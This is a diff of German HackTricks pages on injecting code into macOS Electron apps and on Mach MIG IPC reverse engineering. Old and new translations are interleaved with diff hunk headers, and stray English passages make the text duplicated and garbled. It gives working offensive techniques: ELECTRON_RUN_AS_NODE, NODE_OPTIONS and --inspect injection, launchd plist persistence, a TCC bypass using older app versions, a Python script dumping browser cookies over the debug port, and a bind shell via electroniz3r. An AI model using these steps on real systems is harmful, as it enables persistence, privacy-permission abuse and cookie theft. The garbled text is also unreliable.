* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Grundlegende Informationen
Wenn Sie nicht wissen, was Electron ist, finden Sie [**hier viele Informationen**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Aber vorerst wissen Sie einfach, dass Electron **node** ausführt.\
Und node hat einige **Parameter** und **Umgebungsvariablen**, die verwendet werden können, um **anderen Code auszuführen**, der nicht in der angegebenen Datei enthalten ist.
Und node hat einige **Parameter** und **Umgebungsvariablen**, die verwendet werden können, um **es dazu zu bringen, anderen Code auszuführen** als die angegebene Datei.
### Electron-Fuses
### Electron-Sicherungen
Diese Techniken werden im Folgenden diskutiert, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron-Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses), die verwendet werden, um zu verhindern, dass Electron-Apps in macOS **beliebigen Code laden**:
Diese Techniken werden als nächstes diskutiert, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron-Sicherungen**](https://www.electronjs.org/docs/latest/tutorial/fuses), die verwendet werden, um zu verhindern, dass Electron-Apps in macOS **beliebigen Code laden**:
* **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code einzufügen.
* **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht berücksichtigt. Dadurch wird verhindert, dass Code eingefügt wird.
* **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`**-**Datei** von macOS **validiert**. Dadurch wird das Einfügen von Code verhindert, indem der Inhalt dieser Datei geändert wird.
* **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`**, nur app.asar überprüft und verwendet. Dadurch wird sichergestellt, dass bei Verwendung der **`embeddedAsarIntegrityValidation`**-Fuse kein nicht validierter Code geladen werden kann.
* **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** zum Einspritzen von Code.
* **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Auf diese Weise wird das Einspritzen von Code vermieden.
* **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`**-**Datei** von macOS **validiert**. Auf diese Weise wird das Einspritzen von Code verhindert, indem der Inhalt dieser Datei geändert wird.
* **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, anstatt in folgender Reihenfolge zu laden: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** zu suchen. Wird nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass bei **Kombination** mit der Sicherung **`embeddedAsarIntegrityValidation`** es **unmöglich** ist, **nicht validierten Code zu laden**.
* **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei `browser_v8_context_snapshot.bin` für seinen V8-Snapshot.
Eine weitere interessante Fuse, die das Einfügen von Code nicht verhindert, ist:
Eine weitere interessante Sicherung, die das Einspritzen von Code nicht verhindern wird, ist:
* **EnableCookieEncryption**: Wenn aktiviert, wird der Cookie-Speicher auf der Festplatte mit kryptografischen Schlüsseln auf OS-Ebene verschlüsselt.
* **EnableCookieEncryption**: Wenn aktiviert, wird der Cookie-Speicher auf der Festplatte mithilfe von kryptografischen Schlüsseln auf OS-Ebene verschlüsselt.
### Überprüfen der Electron-Fuses
### Überprüfen der Electron-Sicherungen
Sie können diese Flags von einer Anwendung aus **überprüfen** mit:
Sie können diese Flags von einer Anwendung aus **überprüfen**:
```bash
npx @electron/fuses read --app /Applications/Slack.app
@ -51,39 +51,37 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Modifizieren von Electron-Fuses
Wie in den [**Dokumenten erwähnt**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), werden die Konfigurationen der **Electron-Fuses** innerhalb der **Electron-Binärdatei** festgelegt, die irgendwo den String **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** enthält.
Wie in den [**Dokumenten erwähnt**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), werden die Konfigurationen der **Electron-Fuses** innerhalb des **Electron-Binärdatei** konfiguriert, die irgendwo den String **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** enthält.
In macOS-Anwendungen befindet sich dies normalerweise in `Anwendung.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`.
In macOS-Anwendungen befindet sich dies typischerweise in `Anwendung.app/Inhalte/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
Sie können diese Datei in [https://hexed.it/](https://hexed.it/) laden und nach dem vorherigen String suchen. Nach diesem String können Sie im ASCII-Code eine Zahl "0" oder "1" sehen, die anzeigt, ob jede Sicherung deaktiviert oder aktiviert ist. Ändern Sie einfach den Hex-Code (`0x30` ist `0` und `0x31` ist `1`), um die Werte der Sicherungen zu ändern.
Sie könnten diese Datei in [https://hexed.it/](https://hexed.it/) laden und nach dem vorherigen String suchen. Nach diesem String können Sie in ASCII eine Zahl "0" oder "1" sehen, die angibt, ob jede Sicherung deaktiviert oder aktiviert ist. Ändern Sie einfach den Hex-Code (`0x30` ist `0` und `0x31` ist `1`), um **die Sicherungswerte zu ändern**.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Beachten Sie, dass, wenn Sie versuchen, die **`Electron Framework`-Binärdatei** in einer Anwendung mit diesen geänderten Bytes zu überschreiben, die App nicht ausgeführt wird.
Beachten Sie, dass wenn Sie versuchen, die **`Electron Framework`-Binärdatei** innerhalb einer Anwendung mit diesen geänderten Bytes zu **überschreiben**, die App nicht gestartet wird.
## RCE Hinzufügen von Code zu Electron-Anwendungen
Es können **externe JS/HTML-Dateien** vorhanden sein, die von einer Electron-App verwendet werden. Ein Angreifer könnte also Code in diese Dateien injizieren, dessen Signatur nicht überprüft wird, und beliebigen Code im Kontext der App ausführen.
Es könnten **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet. Ein Angreifer könnte also Code in diese Dateien einschleusen, dessen Signatur nicht überprüft wird, und beliebigen Code im Kontext der App ausführen.
{% hint style="danger" %}
Es gibt jedoch derzeit 2 Einschränkungen:
* Die Berechtigung **`kTCCServiceSystemPolicyAppBundles`** ist erforderlich, um eine App zu ändern. Standardmäßig ist dies nicht mehr möglich.
* Die kompilierte **`asap`**-Datei hat normalerweise die Sicherungen **`embeddedAsarIntegrityValidation`** und **`onlyLoadAppFromAsar`** aktiviert.
Dies macht diesen Angriffsweg komplizierter (oder unmöglich).
* Die Berechtigung **`kTCCServiceSystemPolicyAppBundles`** ist **erforderlich**, um eine App zu modifizieren, daher ist dies standardmäßig nicht mehr möglich.
* Die kompilierte **`asap`**-Datei hat normalerweise die Sicherungen **`embeddedAsarIntegrityValidation`** und **`onlyLoadAppFromAsar`** aktiviert, was diesen Angriffsweg komplizierter (oder unmöglich) macht.
{% endhint %}
Beachten Sie, dass es möglich ist, die Anforderung von **`kTCCServiceSystemPolicyAppBundles`** zu umgehen, indem Sie die Anwendung in ein anderes Verzeichnis (wie **`/tmp`**) kopieren, den Ordner **`app.app/Contents`** in **`app.app/NotCon`** umbenennen, die **asar**-Datei mit Ihrem **bösartigen** Code ändern, sie wieder in **`app.app/Contents`** umbenennen und ausführen.
Beachten Sie, dass es möglich ist, die Anforderung von **`kTCCServiceSystemPolicyAppBundles`** zu umgehen, indem Sie die Anwendung in ein anderes Verzeichnis kopieren (wie **`/tmp`**), den Ordner **`app.app/Contents`** in **`app.app/NotCon`** umbenennen, die **asar**-Datei mit Ihrem **bösartigen** Code ändern, sie wieder in **`app.app/Contents`** umbenennen und ausführen.
Sie können den Code aus der asar-Datei mit entpacken:
Sie können den Code aus der asar-Datei entpacken mit:
```bash
npx asar extract app.asar app-decomp
```
Und packen Sie es nach der Modifikation wieder zusammen mit:
Und packen Sie es nach der Modifikation mit zurück:
```bash
npx asar pack app-decomp app-new.asar
```
@ -101,12 +99,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
Wenn die Fuse **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert und dies funktioniert nicht.
Wenn die Sicherung **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert und dies funktioniert nicht.
{% endhint %}
### Injektion aus der App Plist
### Injektion aus dem App-Plist
Wie [**hier vorgeschlagen**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/) könnten Sie diese Umgebungsvariable in einer Plist missbrauchen, um die Persistenz aufrechtzuerhalten:
Wie [**hier vorgeschlagen**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/) könnten Sie diese Umgebungsvariable in einem Plist missbrauchen, um die Persistenz aufrechtzuerhalten:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -132,7 +130,7 @@ Wie [**hier vorgeschlagen**](https://www.trustedsec.com/blog/macos-injection-via
```
## RCE mit `NODE_OPTIONS`
Sie können die Payload in einer anderen Datei speichern und ausführen:
Sie können das Payload in einer anderen Datei speichern und ausführen:
{% code overflow="wrap" %}
```bash
@ -145,14 +143,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
{% endcode %}
{% hint style="danger" %}
Wenn die Fuse **`EnableNodeOptionsEnvironmentVariable`** deaktiviert ist, ignoriert die App die Umgebungsvariable **NODE\_OPTIONS** beim Start, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls ignoriert wird, wenn die Fuse **`RunAsNode`** deaktiviert ist.
Wenn die Sicherung **`EnableNodeOptionsEnvironmentVariable`** **deaktiviert** ist, ignoriert die App die Umgebungsvariable **NODE_OPTIONS** beim Start, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, was auch ignoriert wird, wenn die Sicherung **`RunAsNode`** deaktiviert ist.
Wenn Sie **`ELECTRON_RUN_AS_NODE`** nicht setzen, erhalten Sie den Fehler: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
Wenn Sie **`ELECTRON_RUN_AS_NODE`** nicht setzen, erhalten Sie den **Fehler**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
{% endhint %}
### Injektion aus der App Plist
### Injektion aus dem App-Plist
Sie könnten diese Umgebungsvariable in einer Plist missbrauchen, um die Persistenz beizubehalten, indem Sie diese Schlüssel hinzufügen:
Sie könnten diese Umgebungsvariable in einem Plist missbrauchen, um Persistenz hinzuzufügen, indem Sie diese Schlüssel hinzufügen:
```xml
<dict>
<key>EnvironmentVariables</key>
@ -168,9 +166,9 @@ Sie könnten diese Umgebungsvariable in einer Plist missbrauchen, um die Persist
<true/>
</dict>
```
## RCE durch Inspektion
## RCE mit Inspektion
Laut [**diesem**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) Artikel, wenn Sie eine Electron-Anwendung mit Flaggen wie **`--inspect`**, **`--inspect-brk`** und **`--remote-debugging-port`** ausführen, wird ein **Debug-Port geöffnet**, auf den Sie zugreifen können (zum Beispiel von Chrome aus über `chrome://inspect`), und Sie können Code darauf **injizieren** oder sogar neue Prozesse starten.\
Gemäß [**diesem**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) Artikel, wenn Sie eine Electron-Anwendung mit Flaggen wie **`--inspect`**, **`--inspect-brk`** und **`--remote-debugging-port`** ausführen, wird ein **Debug-Port geöffnet**, sodass Sie sich damit verbinden können (zum Beispiel von Chrome aus unter `chrome://inspect`) und Sie werden in der Lage sein, **Code einzuspritzen** oder sogar neue Prozesse zu starten.\
Zum Beispiel:
{% code overflow="wrap" %}
@ -182,14 +180,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
Wenn die Fuse **`EnableNodeCliInspectArguments`** deaktiviert ist, ignoriert die App Node-Parameter (wie `--inspect`), wenn sie gestartet wird, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls ignoriert wird, wenn die Fuse **`RunAsNode`** deaktiviert ist.
Wenn die Sicherung **`EnableNodeCliInspectArguments`** deaktiviert ist, ignoriert die App **Node-Parameter** (wie `--inspect`), wenn sie gestartet wird, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls ignoriert wird, wenn die Sicherung **`RunAsNode`** deaktiviert ist.
Sie können jedoch immer noch den Electron-Parameter `--remote-debugging-port=9229` verwenden, aber die vorherige Payload funktioniert nicht, um andere Prozesse auszuführen.
Sie könnten jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber das vorherige Payload wird nicht funktionieren, um andere Prozesse auszuführen.
{% endhint %}
Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie z.B. die **History** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser entschlüsselt werden und es einen **JSON-Endpunkt** gibt, der sie liefert).
Durch die Verwendung des Parameters **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Verlaufsinformationen** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser entschlüsselt werden und es einen **JSON-Endpunkt** gibt, der sie liefert).
Sie können lernen, wie das [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) und [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) gemacht wird und das automatische Tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) oder ein einfaches Skript wie:
Sie können lernen, wie das funktioniert [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) und [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) und das automatische Tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) oder ein einfaches Skript wie:
```python
import websocket
ws = websocket.WebSocket()
@ -197,11 +195,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
In [**diesem Blogpost**](https://hackerone.com/reports/1274695) wird dieses Debugging missbraucht, um einen headless Chrome **beliebige Dateien an beliebigen Orten herunterladen zu lassen**.
In [**diesem Blogbeitrag**](https://hackerone.com/reports/1274695) wird dieses Debugging missbraucht, um einen headless Chrome **beliebige Dateien an beliebigen Orten herunterladen zu lassen**.
### Injektion aus der App Plist
### Injektion aus der App-Plist
Sie könnten diese Umgebungsvariable in einer Plist missbrauchen, um die Persistenz zu erhalten, indem Sie diese Schlüssel hinzufügen:
Sie könnten diese Umgebungsvariable in einer Plist missbrauchen, um Persistenz zu erhalten, indem Sie diese Schlüssel hinzufügen:
```xml
<dict>
<key>ProgramArguments</key>
@ -218,17 +216,17 @@ Sie könnten diese Umgebungsvariable in einer Plist missbrauchen, um die Persist
## TCC-Bypass durch Ausnutzung älterer Versionen
{% hint style="success" %}
Der TCC-Daemon von macOS überprüft nicht die ausgeführte Version der Anwendung. Wenn Sie also mit keiner der zuvor genannten Techniken Code in eine Electron-Anwendung injizieren können, können Sie eine frühere Version der APP herunterladen und Code darauf injizieren, da sie immer noch die TCC-Berechtigungen erhält (sofern der Trust Cache dies nicht verhindert).
Der TCC-Daemon von macOS überprüft nicht die ausgeführte Version der Anwendung. Wenn Sie also **keinen Code in einer Electron-Anwendung injizieren können** mit einer der vorherigen Techniken, könnten Sie eine frühere Version der APP herunterladen und Code darauf injizieren, da sie immer noch die TCC-Berechtigungen erhält (sofern der Trust Cache dies nicht verhindert).
{% endhint %}
## Ausführung von nicht-JS-Code
## Ausführen von nicht-JS-Code
Die zuvor genannten Techniken ermöglichen es Ihnen, **JS-Code im Prozess der Electron-Anwendung auszuführen**. Beachten Sie jedoch, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die Elternanwendung ausgeführt werden und **deren TCC-Berechtigungen erben**.\
Daher können Sie, wenn Sie beispielsweise Berechtigungen missbrauchen möchten, um auf Kamera oder Mikrofon zuzugreifen, einfach **eine andere Binärdatei aus dem Prozess heraus ausführen**.
Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code im Prozess der Electron-Anwendung auszuführen**. Denken Sie jedoch daran, dass die **Unterprozesse unter demselben Sandbox-Profil wie die übergeordnete Anwendung ausgeführt werden** und **deren TCC-Berechtigungen erben**.\
Daher könnten Sie, wenn Sie Berechtigungen missbrauchen möchten, um beispielsweise auf Kamera oder Mikrofon zuzugreifen, einfach **eine andere Binärdatei aus dem Prozess heraus ausführen**.
## Automatische Injektion
Das Tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kann leicht verwendet werden, um **anfällige Electron-Anwendungen** zu finden, die installiert sind, und Code in sie einzufügen. Dieses Tool versucht, die Technik **`--inspect`** zu verwenden:
Das Tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kann einfach verwendet werden, um **anfällige Electron-Anwendungen zu finden**, die installiert sind, und Code darauf zu injizieren. Dieses Tool wird versuchen, die **`--inspect`**-Technik zu verwenden:
Sie müssen es selbst kompilieren und können es wie folgt verwenden:
```bash
@ -274,14 +272,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

View file

@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
</details>
MIG wurde erstellt, um den Prozess der Mach IPC-Codeerstellung zu **vereinfachen**. Es generiert im Grunde genommen den benötigten Code, damit Server und Client gemäß einer bestimmten Definition kommunizieren können. Selbst wenn der generierte Code hässlich ist, muss ein Entwickler ihn nur importieren und sein Code wird viel einfacher sein als zuvor.
MIG wurde erstellt, um den **Prozess der Mach IPC**-Codeerstellung zu **vereinfachen**. Es generiert im Grunde den benötigten Code, damit Server und Client gemäß einer bestimmten Definition kommunizieren können. Selbst wenn der generierte Code hässlich ist, muss ein Entwickler ihn nur importieren und sein Code wird viel einfacher sein als zuvor.
### Beispiel
@ -66,9 +66,9 @@ myipc_server_routine,
{% tab title="myipcServer.h" %}
### macOS MIG (Mach Interface Generator)
### MacOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code to handle messages sent between processes. MIG interfaces are defined in .defs files and compiled into C code using the `mig` compiler.
MIG is a tool used to define inter-process communication (IPC) for Mach-based systems. It generates client and server-side code for message-based IPC.
#### Example:
@ -80,9 +80,9 @@ MIG is a tool used to define inter-process communication (IPC) for macOS. It gen
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
```
In the example above, `myipc_server` is the function generated by MIG to handle incoming messages. This function processes the messages and sends a response back to the client.
In the example above, `myipc_server` is the function that will be called when a message is received by the server.
MIG is a powerful tool for handling IPC in macOS, but it can also introduce security risks if not implemented correctly. Developers should carefully review and test their MIG interfaces to prevent vulnerabilities related to IPC abuse.
MIG simplifies the process of defining IPC interfaces and handling messages between processes in MacOS.
{% endtab %}
```c
@ -160,7 +160,7 @@ return FALSE;
Überprüfen Sie die zuvor hervorgehobenen Zeilen, die auf die Funktion zugreifen, die anhand der ID aufgerufen werden soll.
Im Folgenden ist der Code zum Erstellen eines einfachen **Servers** und **Clients** dargestellt, bei dem der Client die Funktionen vom Server abziehen kann:
Im Folgenden ist der Code zum Erstellen eines einfachen **Servers** und **Clients** aufgeführt, bei dem der Client die Funktionen vom Server abrufen kann:
{% tabs %}
{% tab title="myipc_server.c" %}
@ -197,28 +197,6 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
{% endtab %}
{% tab title="myipc_client.c" %}
### macOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client-side and server-side code for IPC. The client-side code is used to make requests to the server, while the server-side code processes those requests.
MIG interfaces are defined in .defs files, which are then compiled to generate the necessary code. The MIG compiler produces header files that contain the function prototypes for the client and server code.
To use MIG in a macOS project, you need to define the MIG interfaces in a .defs file, compile it using the MIG compiler, and include the generated header files in your code.
MIG simplifies the process of implementing IPC in macOS applications by automatically generating the boilerplate code required for communication between processes.
### macOS MIG (Mach Interface Generator)
MIG ist ein Tool, das zur Definition der Interprozesskommunikation (IPC) für macOS verwendet wird. Es generiert Client- und Servercode für IPC. Der Clientcode wird verwendet, um Anfragen an den Server zu stellen, während der Servercode diese Anfragen verarbeitet.
MIG-Schnittstellen werden in .defs-Dateien definiert, die dann kompiliert werden, um den erforderlichen Code zu generieren. Der MIG-Compiler erstellt Headerdateien, die die Funktionsprototypen für den Client- und Servercode enthalten.
Um MIG in einem macOS-Projekt zu verwenden, müssen Sie die MIG-Schnittstellen in einer .defs-Datei definieren, sie mit dem MIG-Compiler kompilieren und die generierten Headerdateien in Ihren Code einbinden.
MIG vereinfacht den Prozess der Implementierung von IPC in macOS-Anwendungen, indem automatisch der Grundcode generiert wird, der für die Kommunikation zwischen Prozessen erforderlich ist.
{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -251,14 +229,14 @@ Da viele Binärdateien jetzt MIG verwenden, um Mach-Ports freizulegen, ist es in
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
Es wurde zuvor erwähnt, dass die Funktion, die sich um **das Aufrufen der richtigen Funktion je nach empfangener Nachrichten-ID kümmert**, `myipc_server` war. Normalerweise haben Sie jedoch nicht die Symbole der Binärdatei (keine Funktionsnamen), daher ist es interessant zu **überprüfen, wie der dekompilierte Code aussieht**, da er immer sehr ähnlich sein wird (der Code dieser Funktion ist unabhängig von den freigegebenen Funktionen):
Es wurde zuvor erwähnt, dass die Funktion, die sich um **den Aufruf der richtigen Funktion je nach empfangener Nachrichten-ID kümmert**, `myipc_server` war. Normalerweise haben Sie jedoch nicht die Symbole der Binärdatei (keine Funktionsnamen), daher ist es interessant zu **überprüfen, wie der dekompilierte Code aussieht**, da er immer sehr ähnlich sein wird (der Code dieser Funktion ist unabhängig von den freigegebenen Funktionen):
{% tabs %}
{% tab title="myipc_server dekompiliert 1" %}
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
// Initiale Anweisungen zum Finden der richtigen Funktionszeiger
// Initiale Anweisungen zum Auffinden der richtigen Funktionszeiger
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -269,7 +247,7 @@ if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 +
rax = *(int32_t *)(var_10 + 0x14);
// Aufruf von sign_extend_64, der helfen kann, diese Funktion zu identifizieren
// Dies speichert in rax den Zeiger auf den Aufruf, der aufgerufen werden muss
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Adressen der Funktionen)
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Funktionsadressenarray)
// 0x1f4 = 500 (die Start-ID)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
@ -305,7 +283,7 @@ saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// Initiale Anweisungen zum Finden der richtigen Funktionszeiger
// Initiale Anweisungen zum Auffinden der richtigen Funktionszeiger
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -341,14 +319,14 @@ r8 = 0x1;
}
}
// Dasselbe If-Else wie in der vorherigen Version
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Adressen der Funktionen)
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Funktionsadressenarray)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// Aufruf der berechneten Adresse, an der die Funktion sein sollte
// Aufruf an die berechnete Adresse, an der die Funktion sein sollte
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -372,12 +350,22 @@ return r0;
{% endtab %}
{% endtabs %}
Tatsächlich finden Sie im Funktions **`0x100004000`** das Array der **`routine_descriptor`**-Strukturen. Das erste Element der Struktur ist die **Adresse**, an der die **Funktion** implementiert ist, und die **Struktur nimmt 0x28 Bytes ein**, sodass Sie alle 0x28 Bytes (beginnend ab Byte 0) 8 Bytes erhalten und das wird die **Adresse der Funktion** sein, die aufgerufen wird:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Tatsächlich finden Sie im Funktionsaufruf **`0x100004000`** das Array der **`routine_descriptor`**-Strukturen. Das erste Element der Struktur ist die **Adresse**, an der die **Funktion** implementiert ist, und die **Struktur nimmt 0x28 Bytes ein**, sodass Sie alle 0x28 Bytes (beginnend ab Byte 0) 8 Bytes erhalten und das wird die **Adresse der aufgerufenen Funktion** sein:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
